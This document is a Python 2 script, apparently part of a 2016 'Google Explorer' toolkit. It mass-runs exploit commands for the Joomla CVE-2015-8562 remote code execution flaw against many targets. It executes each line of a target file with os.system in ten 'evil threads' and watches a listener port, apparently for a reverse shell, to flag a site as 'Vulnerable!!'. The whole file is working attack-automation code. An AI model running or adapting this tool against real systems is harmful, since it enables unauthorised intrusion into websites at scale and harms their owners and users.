"""
Usage:
    joomla_rce_exploiter.py --file=<arg>
    joomla_rce_exploiter.py --help
    joomla_rce_exploiter.py --version

Options:
    -h --help                                Open help menu
    -v --version                             Show version

Required options:
    --file='arq'                             arq
"""
import threading
import os
import sys
import time
import commands
import Queue
from threading import Thread
from docopt import docopt, DocoptExit

tested = []

class JoomlaRceSpliter():

    def listener(self, filename):
        global tested
        with open(filename, 'r') as f:
            port = f.readline().split()[-1]
            cmd = 'a=$(netstat -plnt 2>&1 | grep {0} -c); echo $a'.format(port)
            kill = 'id=$(pgrep -f {0}); kill -9 $id'.format(filename)
            while True:
                s, o = commands.getstatusoutput(cmd)
                if o == '0':
                    print '[+] \033[31mVulnerable!!\033[33m Joomla RCE woked..\033[39m\n'
                    print tested
                    os.system('id=$(pgrep -f vuln_joomla_2015_8562.txt); kill -9 $id')
                    sys.exit(0)

    #def exploiter(self, filename):
    #    global cont
    #    cont=1
    #    with open(filename, 'r') as f:
    #        for target in f.readlines():
    #            os.system(target.rstrip())
    #            cont+=1
    def exploiter(self, q):
        global tested
        while True:
            try:
                target = q.get()
                tested.append(target)
                os.system(target)
                q.task_done()
            except:
                q.task_done()


if __name__ == '__main__':
    arguments = docopt(__doc__, version="Joomla Spliter - Google Explorer - 2016")
    filename = arguments['--file']

    x = JoomlaRceSpliter()
    Thread(target=x.listener, args=(filename,)).start()

    results = [line.rstrip('\n') for line in open(filename)]

    # My Queue
    q = Queue.Queue(maxsize=0)

    # Number of threads
    num_threads = 10

    for tgt in results:
        q.put(tgt)

    # My threads
    print('[*] Starting evil threads =)...\n')
    for i in range(num_threads):
        worker = Thread(target=x.exploiter, args=(q,))
        worker.setDaemon(True)
        worker.start()

    q.join()
    #os.system('id=$(pgrep -f vuln_joomla_2015_8562.txt); kill -9 $id 2>&1 ')
